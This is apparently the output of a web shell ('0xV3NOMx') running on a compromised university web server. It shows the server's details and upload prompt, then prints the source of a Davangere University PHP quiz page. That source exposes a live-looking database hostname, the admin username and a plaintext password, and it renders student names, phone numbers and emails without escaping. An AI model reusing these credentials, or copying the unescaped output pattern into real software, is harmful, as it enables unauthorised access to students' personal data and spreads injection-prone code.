0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.144.25.130


Current Path : /proc/thread-self/root/var/www/oasis/dud/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/dud/quiz_view.php

<!DOCTYPE html>
<html>

<head>
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="0" />
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
    <title>DUD</title>
    <!-- Favicon-->
    <link rel="icon" href="favicon.ico" type="image/x-icon">
    <link href="https://universitysolutions.in/bcu/adm/plugins/bootstrap/css/bootstrap_adm.css" rel="stylesheet">

    <!-- Waves Effect Css -->
    <link href="https://universitysolutions.in/bcu/adm/plugins/node-waves/waves.css" rel="stylesheet" />

    <!-- Custom Css -->
    <link href="https://universitysolutions.in/bcu/adm/css/style_adm.css" rel="stylesheet">
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css?family=Roboto:400,700&subset=latin,cyrillic-ext" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet" type="text/css">
    <link href="https://universitysolutions.in/bcu/adm/css/themes/all-themes.css" rel="stylesheet" />
    
</head>

<body onload="getStudyMaterial()">
    <!-- #END# Page Loader -->
    <!-- Top Bar -->
    
<?php

$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "Logisys2104";

$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = "logisys3_dud";

$Query = "select distinct fid, fdescpn
FROM $db.qztopic where ifnull(fdeleted,'') <> 'T'";
$result = mysqli_query($conn, $Query);
?>

<nav class="navbar" style="background-color: #1ba0c7;">
    <div class="container-fluid" style="color: #fff;">
        <div class="col-md-12 m-t--5">
            <center>
              <h2 class="brand" style="margin-left: 50px;">DAVANGERE UNIVERSITY</h2>
          </center>
        </div>
    </div>
</nav>

<section class="content">
  <div class="container-fluid">
    <div class="tab-content" id="loadtab">
      <!--///////Personal Details Card\\\\\\\-->
      <div class="row clearfix"   id = "personal_det">
        <div class="col-lg-11 col-md-12 col-sm-12 col-xs-12">
          <div class="card ">
            <div class="header bg-blue">
              <h2>Internal Quality Assurance Cell (IQAC)</h2>
            </div>
            <div class="row clearfix  body" id="idPerDet" style = "margin-left: 0px;margin-right: 0px;">
              <div class="field">
                <div class="col-md-5">
                  <b>Select Type</b>
                  <div class="form-group p-b-20">
                    <div>
                      <select id="status" onchange="getStudyMaterial()"  class="form-control" name="Combination">
                        <option value = 'All'>
                        All
                        </option>
                        <?php
                        while ($row = mysqli_fetch_assoc($result)) {
                        echo "<option value='{$row['fid']}'>{$row['fdescpn']}</option>";
                        }
                        ?>
                      </select>
                    </div>
                  </div>
              </div>
              </div>

              <table class="table table-condensed table-bordered table-striped table-hover" id="boarddet">
              </table>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
</div>
</section>

    <script src="https://universitysolutions.in/bcu/adm/plugins/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/bootstrap/js/bootstrap.js"></script>

    <!-- Select Plugin Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/bootstrap-select/js/bootstrap-select.js"></script>

    <!-- Slimscroll Plugin Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/jquery-slimscroll/jquery.slimscroll.js"></script>

    <!-- Waves Effect Plugin Js -->
    <script src="https://universitysolutions.in/bcu/adm/plugins/node-waves/waves.js"></script>

     <script src="https://universitysolutions.in/bcu/adm/js/MainPageCompressed.js"></script>
    <!-- Custom Js -->
    <script src="https://universitysolutions.in/bcu/adm/js/admin.js"></script>
    <script src="https://universitysolutions.in/bcu/adm/js/login.js"></script>
    <!-- Demo Js -->
    <script src="https://universitysolutions.in/bcu/adm/js/demo.js"></script>

    <script type="text/javascript">
      function getStudyMaterial()
      {
        var status = $("#status").val();
       
        $.ajax({
          type: "POST",
          async: false,
          data: "&type=studyappr&status="+status,
          url: "saveQuiz.php",
          success: function(responce)
          {
            var { error_code, data }  = JSON.parse(responce);
            console.log(data);
            if(error_code == '0')
            {
            var table = `<table class="m-b-20 m-t-20 table table-condensed table-bordered table-striped table-hover">
                          <tr style = "height:40px;background-color: #184F76 !important;color: #fff;">
                              <th style = "width:5%;"><center>Sl. No. </center></th>
                              <th style = "width:15%;"><center>Uploaded Date</center></th>
                              <th style = "width:15%;"><center>Topic</center></th>
                              <th style = "width:15%;"><center>College</center></th>
                              <th style = "width:15%;"><center>Student Name</center></th>
                              <th style = "width:10%;"><center>Student Mobile No.</center></th>
                              <th style = "width:10%;" ><center>Student Email Id</center></th>
                              <th style = "width:5%;" ><center>View</center></th>
                          </tr>`;
            for (let i in data) {
              table += `<tr>
                              <td><center> ${parseInt(i) + 1} </center></td>
                              <td><center> ${data[i]["fcreated"]} </center></td>
                              <td>${data[i]["fdescpn"]}</td>
                              <td>${data[i]["fcollege"]}</td>
                              <td>${data[i]["fname"]}</td>
                              <td>${data[i]["fmobileno"]}</td>
                              <td>${data[i]["femail"]}</td>
                              <td><center><a href = "http://universitysolutions.in/dud/${data[i]["fpath"]}" target = '_blank'>View</a></center></td>
                          </tr>`;
            }
            table += `</table>`;
            
            $("#boarddet").html(table);
            }else
            {
                alert(data);
                $("#boarddet").html("");    
            }
          }
        });
      }

      function approveStudyMaterial(id)
      {
       
        $.ajax({
          type: "POST",
          async: false,
          data: "type=appstudymat"+"&id="+id,
          url: "studymaterialdet_bcu.php",
          success: function(responce)
          {
            var data = JSON.parse(responce);
             alert(data);
             getStudyMaterial();
          }
        });
      }

      

    </script>

</body>
</html>

<?php



?>